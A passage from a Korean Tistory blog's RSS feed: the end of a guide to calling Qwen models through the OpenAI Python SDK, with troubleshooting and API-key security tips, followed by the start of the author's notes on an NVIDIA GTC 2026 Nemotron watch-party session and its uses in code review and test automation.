&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;qwen-turbo&lt;/code&gt;: 빠른 응답, 가벼운 작업에 적합&lt;/li&gt;
&lt;li&gt;&lt;code&gt;qwen-plus&lt;/code&gt;: 균형 잡힌 성능, 범용 추천&lt;/li&gt;
&lt;li&gt;&lt;code&gt;qwen-max&lt;/code&gt;: 최고 수준의 추론/코딩 성능&lt;/li&gt;
&lt;li&gt;&lt;code&gt;qwen-long&lt;/code&gt;: 256K 이상의 장문 컨텍스트 처리&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--temperature 0.2&lt;/code&gt;: 창의성 조절 (0~1, 낮을수록 결정적)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--max-tokens 2048&lt;/code&gt;: 최대 출력 길이 제한&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  7. Python SDK 연동: 자동화 스크립트 작성 가이드&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CLI는 빠른 테스트에 유용하지만, 반복 작업이나 데이터 파이프라인 통합에는 Python 스크립트가 효율적입니다. &lt;code&gt;openai&lt;/code&gt; SDK와 &lt;code&gt;python-dotenv&lt;/code&gt;를 결합한 기본 템플릿은 다음과 같습니다.&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;# qwen_assistant.py
import os
from dotenv import load_dotenv
from openai import OpenAI

# .env 파일 로드
load_dotenv()

# 클라이언트 초기화
client = OpenAI(
    api_key=os.getenv(&quot;OPENAI_API_KEY&quot;),
    base_url=&quot;https://dashscope.aliyuncs.com/compatible-mode/v1&quot;
)

def ask_qwen(prompt: str, model: str = &quot;qwen-plus&quot;, stream: bool = False):
    response = client.chat.completions.create(
        model=model,
        messages=[{&quot;role&quot;: &quot;user&quot;, &quot;content&quot;: prompt}],
        stream=stream
    )

    if stream:
        for chunk in response:
            if chunk.choices[0].delta.content:
                print(chunk.choices[0].delta.content, end=&quot;&quot;, flush=True)
        print()
    else:
        return response.choices[0].message.content

if __name__ == &quot;__main__&quot;:
    result = ask_qwen(&quot;Python에서 asyncio를 사용한 병렬 API 호출 예제 코드를 작성해줘.&quot;)
    print(&quot;✅ 응답:\n&quot;, result)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실행: &lt;code&gt;python qwen_assistant.py&lt;/code&gt;&lt;br /&gt;스트리밍 모드를 원할 경우 &lt;code&gt;stream=True&lt;/code&gt;로 호출하면 토큰 단위 실시간 출력이 가능합니다. 이 구조를 확장하면 RAG 파이프라인, 문서 요약 배치 스크립트, CLI 래퍼 도구 등으로 쉽게 진화시킬 수 있습니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  8. 자주 발생하는 오류와 10초 해결법&lt;/h2&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;오류 메시지&lt;/th&gt;
&lt;th&gt;원인&lt;/th&gt;
&lt;th&gt;해결 방법&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ModuleNotFoundError: No module named 'openai'&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;가상환경 미활성화 또는 설치 실패&lt;/td&gt;
&lt;td&gt;&lt;code&gt;source .venv/bin/activate&lt;/code&gt; 후 &lt;code&gt;pip install openai&lt;/code&gt; 재실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Authentication failed&lt;/code&gt; / &lt;code&gt;401 Unauthorized&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;키 누락, 오타, 비활성 키&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.env&lt;/code&gt; 내용 확인, DashScope 콘솔에서 키 상태 및 권한 검증&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Model not found&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;잘못된 모델명 또는 지역 제한&lt;/td&gt;
&lt;td&gt;공식 지원 모델(&lt;code&gt;qwen-plus&lt;/code&gt; 등) 사용, 엔드포인트 URL 정확히 복사&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Connection refused&lt;/code&gt; / &lt;code&gt;Timeout&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;--base-url&lt;/code&gt; 누락 또는 프록시 차단&lt;/td&gt;
&lt;td&gt;&lt;code&gt;--base-url https://dashscope.aliyuncs.com/compatible-mode/v1&lt;/code&gt; 명시, 네트워크 확인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;zsh: command not found: openai&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;가상환경 내 설치 안 됨 또는 PATH 미등록&lt;/td&gt;
&lt;td&gt;&lt;code&gt;pip install openai&lt;/code&gt; 재실행, &lt;code&gt;hash -r&lt;/code&gt;으로 셸 캐시 초기화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Permission denied&lt;/code&gt; (macOS)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.venv&lt;/code&gt; 폴더 소유권 또는 SIP 제한&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sudo chown -R $(whoami) .venv&lt;/code&gt; 또는 사용자 홈 디렉토리에서 프로젝트 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;에러 발생 시 전체 traceback을 복사해 검색하거나, &lt;code&gt;--verbose&lt;/code&gt; 플래그를 추가하면 상세 요청/응답 로그를 확인해 디버깅이 용이합니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  9. 프로덕션 환경을 위한 보안 및 관리 가이드라인&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개발 단계를 넘어 실제 서비스나 팀 협업에 적용할 경우 다음 원칙을 준수해야 합니다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;키 순환 정책&lt;/b&gt;: 정기적으로 API 키를 재발급하고, 사용하지 않는 키는 즉시 비활성화합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;환경별 분리&lt;/b&gt;: &lt;code&gt;.env.development&lt;/code&gt;, &lt;code&gt;.env.staging&lt;/code&gt;, &lt;code&gt;.env.production&lt;/code&gt;으로 파일을 분리하고, CI/CD에서는 시크릿 관리 도구(GitHub Secrets, AWS Secrets Manager 등)를 주입합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;요청 로깅 주의&lt;/b&gt;: 디버깅 용도로 로그를 남길 때 &lt;code&gt;Authorization&lt;/code&gt; 헤더나 API 키가 기록되지 않도록 필터링합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;레이트 리밋 대응&lt;/b&gt;: &lt;code&gt;openai.RateLimitError&lt;/code&gt;를 &lt;code&gt;try/except&lt;/code&gt;로 캐치하고, 지수 백오프(Exponential Backoff) 또는 재시도 로직을 구현합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;의존성 고정&lt;/b&gt;: &lt;code&gt;pip freeze &amp;gt; requirements.txt&lt;/code&gt; 또는 &lt;code&gt;pip-tools&lt;/code&gt;를 사용해 버전을 고정하고, 정기적으로 보안 패치를 적용합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;모델 버전 관리&lt;/b&gt;: &lt;code&gt;qwen-plus&lt;/code&gt;와 같이 별칭으로 제공되는 모델은 내부 업데이트로 응답 품질이 변동될 수 있으므로, 장기 안정성이 필요하면 &lt;code&gt;qwen-plus-2024-11-25&lt;/code&gt; 형식의 특정 스냅샷 버전을 명시합니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  결론&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Qwen CLI를 가상환경에서 설정하는 과정은 단순해 보이지만, 올바른 단계로 진행하면 보안성, 재현성, 확장성 모두를 확보할 수 있습니다. &lt;code&gt;python3 -m venv .venv&lt;/code&gt;로 격리된 환경을 만들고, &lt;code&gt;openai&lt;/code&gt;, &lt;code&gt;python-dotenv&lt;/code&gt;, &lt;code&gt;dashscope&lt;/code&gt; 패키지를 한 번에 설치한 후, &lt;code&gt;.env&lt;/code&gt; 파일로 API 키를 안전하게 관리하는 흐름은 현대 Python 개발의 표준 패러다임입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 당신은 터미널에서 &lt;code&gt;openai chat.completions.create&lt;/code&gt; 명령어 한 줄로 Qwen의 강력한 언어 이해력을 호출할 수 있고, Python SDK를 통해 자동화 파이프라인, RAG 시스템, 에이전트 아키텍처로 자유롭게 확장할 수 있는 기반을 마련했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실무에서는 스트리밍 응답 처리, 함수 호출(Function Calling), 다중 파일 컨텍스트 분석, 배치 처리 등으로 활용 범위를 넓힐 수 있습니다. 공식 DashScope 개발자 문서와 OpenAI 호환 가이드를 참고하면 더욱 심화된 기능을 빠르게 적용할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가상환경의 격리성, &lt;code&gt;.env&lt;/code&gt; 기반의 보안 관리, CLI/SDK의 유연한 조합을 이해했다면, 당신은 이미 AI API 통합의 초급 단계를 넘어 프로덕션 레벨의 개발 준비를 마친 것입니다. 이제 창의적인 프롬프트와 안정적인 아키텍처를 결합해 나만의 AI 워크플로우를 구축해 보시기 바랍니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;  &lt;b&gt;참고 링크&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;DashScope 공식 개발자 가이드: &lt;a href=&quot;https://help.aliyun.com/zh/dashscope/developer-reference/&quot;&gt;https://help.aliyun.com/zh/dashscope/developer-reference/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;OpenAI Python SDK 문서: &lt;a href=&quot;https://github.com/openai/openai-python&quot;&gt;https://github.com/openai/openai-python&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Python 가상환경 공식 문서: &lt;a href=&quot;https://docs.python.org/ko/3/library/venv.html&quot;&gt;https://docs.python.org/ko/3/library/venv.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;❓ 추가적인 고급 기능(스트리밍 버퍼링, 함수 호출 정의, 임베딩 벡터 저장, 로컬 캐싱 등)에 대한 예제 코드가 필요하시면 언제든 문의해 주세요. 실제 프로젝트 구조에 맞춘 템플릿을 즉시 제공해 드립니다.&lt;/p&gt;</description>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/225</guid>
      <comments>https://thepin.tistory.com/225#entry225comment</comments>
      <pubDate>Sat, 11 Apr 2026 09:09:18 +0900</pubDate>
    </item>
    <item>
      <title>Watch Party: Nemotron Unpacked: Build, Fine-Tune, and Deploy NVIDIA's Open Models (WP81719a, NVIDIA GTC 2026)</title>
      <link>https://thepin.tistory.com/224</link>
      <description>&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;본&amp;nbsp;글은&amp;nbsp;패스트캠퍼스의&amp;nbsp;지원으로&amp;nbsp;NVIDIA&amp;nbsp;GTC&amp;nbsp;2026에&amp;nbsp;온라인으로&amp;nbsp;참석해&amp;nbsp;들은&amp;nbsp;내용을,&amp;nbsp;이&amp;nbsp;분야&amp;nbsp;완전&amp;nbsp;초보인&amp;nbsp;제가&amp;nbsp;퍼플렉시티의&amp;nbsp;도움을&amp;nbsp;받으며&amp;nbsp;하나하나&amp;nbsp;이해하고&amp;nbsp;정리해&amp;nbsp;본&amp;nbsp;솔직한&amp;nbsp;기록입니다.&lt;/span&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;NVIDIA 오픈 모델 패밀리 Nemotron으로 고급 추론&amp;middot;코딩&amp;middot;멀티모달&amp;middot;에이전트형 AI를 만들고, 기업 환경에 파인튜닝/배포하는 전체 워크플로를 소개하는 GTC 2026 워치파티 세션.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;강의명&lt;br /&gt;[Watch Party: Nemotron Unpacked: Build, Fine-Tune, and Deploy NVIDIA's Open Models [WP81719a]](&lt;a href=&quot;https://register.nvidia.com/flow/nvidia/gtc26/ap/page/catalogv/session/1772137931979001sGiB&quot;&gt;https://register.nvidia.com/flow/nvidia/gtc26/ap/page/catalogv/session/1772137931979001sGiB)&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[&lt;a href=&quot;https://register.nvidia.com/flow/nvidia/gtc26/ap/page/catalogv?tab.catalogallsessionstab=16566177511100015Kus&amp;amp;search=WP81719a%5D(https://register.nvidia.com/flow/nvidia/gtc26/ap/page/catalogv?tab.catalogallsessionstab=16566177511100015Kus&amp;amp;search=WP81719a)&quot;&gt;https://register.nvidia.com/flow/nvidia/gtc26/ap/page/catalogv?tab.catalogallsessionstab=16566177511100015Kus&amp;amp;search=WP81719a]&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;709&quot; data-origin-height=&quot;418&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DxFwT/dJMcagEYHYh/Xmlrnq7WqeAk8r3vM7YgVk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DxFwT/dJMcagEYHYh/Xmlrnq7WqeAk8r3vM7YgVk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DxFwT/dJMcagEYHYh/Xmlrnq7WqeAk8r3vM7YgVk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDxFwT%2FdJMcagEYHYh%2FXmlrnq7WqeAk8r3vM7YgVk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;709&quot; height=&quot;418&quot; data-origin-width=&quot;709&quot; data-origin-height=&quot;418&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;온라인 세션이라 팀즈로 보았습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bSj04g/dJMcag51SGE/GuzKpryD64pT4TmNOoqm3K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bSj04g/dJMcag51SGE/GuzKpryD64pT4TmNOoqm3K/img.png&quot; data-origin-width=&quot;702&quot; data-origin-height=&quot;443&quot; data-is-animation=&quot;false&quot; style=&quot;width: 47.0899%; margin-right: 10px;&quot; data-widthpercent=&quot;47.64&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bSj04g/dJMcag51SGE/GuzKpryD64pT4TmNOoqm3K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbSj04g%2FdJMcag51SGE%2FGuzKpryD64pT4TmNOoqm3K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;702&quot; height=&quot;443&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bePIP0/dJMcabcyazc/k0HMrF2kRoRXc0CkWorcK0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bePIP0/dJMcabcyazc/k0HMrF2kRoRXc0CkWorcK0/img.png&quot; data-origin-width=&quot;707&quot; data-origin-height=&quot;406&quot; data-is-animation=&quot;false&quot; style=&quot;width: 51.7473%;&quot; data-widthpercent=&quot;52.36&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bePIP0/dJMcabcyazc/k0HMrF2kRoRXc0CkWorcK0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbePIP0%2FdJMcabcyazc%2Fk0HMrF2kRoRXc0CkWorcK0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;707&quot; height=&quot;406&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 워치파티 강의는 NVIDIA의 오픈 모델 생태계인 Nemotron으로 &amp;ldquo;엔터프라이즈급&amp;rdquo; 생성형 AI를 설계&amp;middot;학습&amp;middot;배포하는 전체 흐름을 한 번에 보여주는 세션입니다. &lt;a href=&quot;https://www.nvidia.com/gtc/session-catalog/sessions/gtc26-s81719/&quot;&gt;nvidia&lt;/a&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;강의 핵심 내용 (요약)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Nemotron 소개
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;NVIDIA가 공개한 멀티모달&amp;middot;추론 특화 오픈 모델 패밀리로, 고급 추론, 코드 생성, 시각 이해, 에이전트형 태스크, 안전성까지 커버하는 것을 목표로 합니다. &lt;a href=&quot;https://www.nvidia.cn/gtc/session-catalog/sessions/gtc26-wp81719/&quot;&gt;nvidia&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;빌드(Build)
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;대규모 데이터셋과 NVIDIA의 가속 컴퓨팅 스택(예: GPU&amp;middot;네트워킹&amp;middot;라이브러리)을 활용해 Nemotron 계열 모델을 사전학습/재학습하는 방법과 설계 철학을 다룹니다. &lt;a href=&quot;https://www.nvidia.com/ko-kr/gtc/session-catalog/sessions/gtc26-s81719/&quot;&gt;nvidia&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;파인튜닝(Fine-Tune)
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;기업/도메인별 데이터로 Nemotron을 미세조정해 고품질 추론&amp;middot;코딩&amp;middot;비주얼 이해 성능을 끌어올리는 모범 사례, 안전성&amp;middot;품질 평가 기법을 설명합니다. &lt;a href=&quot;https://www.nvidia.com/gtc/session-catalog/sessions/gtc26-s81719/&quot;&gt;nvidia&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;배포(Deploy)
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;NVIDIA의 소프트웨어 스택(예: NeMo, NVIDIA AI Enterprise 등)을 활용해 온프렘&amp;middot;클라우드&amp;middot;엣지 환경에 Nemotron 기반 서비스를 배포하고 운영하는 아키텍처를 보여줍니다. &lt;a href=&quot;https://www.nvidia.com/ko-kr/gtc/session-catalog/sessions/gtc26-s81719/&quot;&gt;nvidia&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;엔터프라이즈 활용 사례
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;실제 기업에서 Nemotron을 활용해 고급 코드 리뷰, 에이전트형 업무 자동화, 멀티모달 분석 등 고난도 시나리오를 구현한 사례와 그 이점(정확도&amp;middot;처리량&amp;middot;비용 효율)을 소개합니다. &lt;a href=&quot;https://www.nvidia.com/gtc/&quot;&gt;nvidia&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;워치파티(WP81719a) 특징&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;원래 GTC 세션(S81719, &amp;ldquo;Nemotron Unpacked: Build, Fine-Tune, and Deploy NVIDIA's Open Models&amp;rdquo;)을 NVIDIA 팀이 함께 보면서 설명과 Q&amp;amp;A를 곁들이는 &lt;b&gt;인터랙티브 재생 세션&lt;/b&gt; 형식입니다. &lt;a href=&quot;https://www.nvidia.com/gtc/session-catalog/sessions/gtc26-wp81719a/&quot;&gt;nvidia&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;참가자는 세션 내용을 보면서 동시에 질문, 토론, 현업 적용 아이디어를 나누는 자리가 되도록 기획되어 있습니다. &lt;a href=&quot;https://www.nvidia.com/gtc/session-catalog/sessions/gtc26-wp81719b/&quot;&gt;nvidia&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이미지 안의 내용을 글로 정리해 드리면, NVIDIA Nemotron 생태계를 네 가지 축으로 보여주는 다이어그램입니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1968&quot; data-origin-height=&quot;1694&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b2kC5S/dJMcaa5OndC/v3Re67YIu8wUaUwhQ78CAK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b2kC5S/dJMcaa5OndC/v3Re67YIu8wUaUwhQ78CAK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b2kC5S/dJMcaa5OndC/v3Re67YIu8wUaUwhQ78CAK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb2kC5S%2FdJMcaa5OndC%2Fv3Re67YIu8wUaUwhQ78CAK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;567&quot; height=&quot;488&quot; data-origin-width=&quot;1968&quot; data-origin-height=&quot;1694&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;중앙: &lt;b&gt;NVIDIA Nemotron&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;Models: Nano, Super, Ultra, 1000 derivatives (다양한 크기&amp;middot;용도의 파생 모델들)&lt;/li&gt;
&lt;li&gt;Data: 9T tokens, 30M samples, 1M compute hrs (막대한 토큰&amp;middot;샘플&amp;middot;연산 시간으로 학습)&lt;/li&gt;
&lt;li&gt;Libraries: NeMo-RL, Minitron, Neural Architecture Search (강화학습&amp;middot;경량 모델&amp;middot;NAS 라이브러리)&lt;/li&gt;
&lt;li&gt;Research: 200+ papers (200편 이상의 연구 결과가 뒷받침)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉 &amp;ldquo;Nemotron은 방대한 데이터&amp;middot;연구&amp;middot;라이브러리&amp;middot;모델군 전체를 묶은 플랫폼&amp;rdquo;이라는 메시지를 한 장에 요약한 슬라이드라고 이해하시면 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;QA/테스트 자동화 관점에서 Nemotron은 &amp;ldquo;코드&amp;middot;테스트&amp;middot;정책&amp;middot;리포지토리 전체를 LLM이 이해하고 도와주는 에이전트 스택&amp;rdquo;으로 보시면 됩니다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. PR 코드 리뷰&amp;middot;리그레션 잡기&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Nemotron 3 Super는 대규모 PR을 통째로 넣어도 버틸 수 있는 1M 토큰 컨텍스트와 에이전트 태스크 정확도로 코드 리뷰에 이미 실사용 평가가 되고 있습니다. &lt;a href=&quot;https://www.together.ai/blog/nvidia-nemotron-3-super&quot;&gt;together&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;활용 아이디어
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;PR diff + 관련 파일을 통째로 넣고 &amp;ldquo;버그 가능성, 안티패턴, 누락된 예외 처리&amp;rdquo;를 자동 검토.&lt;/li&gt;
&lt;li&gt;대규모 리팩토링에서 기능 변경 여부, 숨은 리그레션 포인트 요약. &lt;a href=&quot;https://www.greptile.com/blog/nvidia-nemotron-super-in-code-review&quot;&gt;greptile&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. 테스트 케이스 자동 생성&amp;middot;보완&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Nemotron 계열은 코드&amp;middot;수학&amp;middot;추론 데이터로 강하게 튜닝되어 있어, 함수/클래스 설명만으로 단위 테스트, 엣지 케이스 아이디어를 제안하는 데 적합합니다. &lt;a href=&quot;https://developer.nvidia.com/blog/inside-nvidia-nemotron-3-techniques-tools-and-data-that-make-it-efficient-and-accurate/&quot;&gt;developer.nvidia&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;활용 아이디어
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&amp;ldquo;이 함수에 대한 단위 테스트 5개 만들어줘, 경계값/에러 케이스 포함&amp;rdquo; 식으로 테스트 스켈레톤을 생성.&lt;/li&gt;
&lt;li&gt;기존 테스트 코드와 요구사항 문서를 넣고, 누락된 시나리오(예: 동시성, 실패 복구)를 LLM에게 목록으로 받기. &lt;a href=&quot;https://developer.nvidia.com/blog/inside-nvidia-nemotron-3-techniques-tools-and-data-that-make-it-efficient-and-accurate/&quot;&gt;developer.nvidia&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. 대규모 리포 기반 분석 (1M 토큰 컨텍스트)&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Nemotron 3 Super의 1M 토큰 컨텍스트는 &amp;ldquo;코드베이스 전체 + 스펙 + 테스트 결과&amp;rdquo;까지 한 번에 넣고 질문하는 식의 RAG/에이전트 워크플로에 최적화돼 있습니다. &lt;a href=&quot;https://www.together.ai/blog/nvidia-nemotron-3-super&quot;&gt;together&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;활용 아이디어
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;특정 기능(예: 결제) 관련 모든 모듈과 테스트를 로딩한 뒤, &amp;ldquo;이 플로우에서 실패 가능 지점과 필요한 테스트 강화 포인트&amp;rdquo;를 질의.&lt;/li&gt;
&lt;li&gt;여러 번의 테스트 실행 로그를 함께 넣고, flakiness 패턴&amp;middot;공통 failure 원인을 요약. &lt;a href=&quot;https://developer.nvidia.com/blog/inside-nvidia-nemotron-3-techniques-tools-and-data-that-make-it-efficient-and-accurate/&quot;&gt;developer.nvidia&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. 콘텐츠/정책 기반 테스트(안전&amp;middot;컴플라이언스)&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
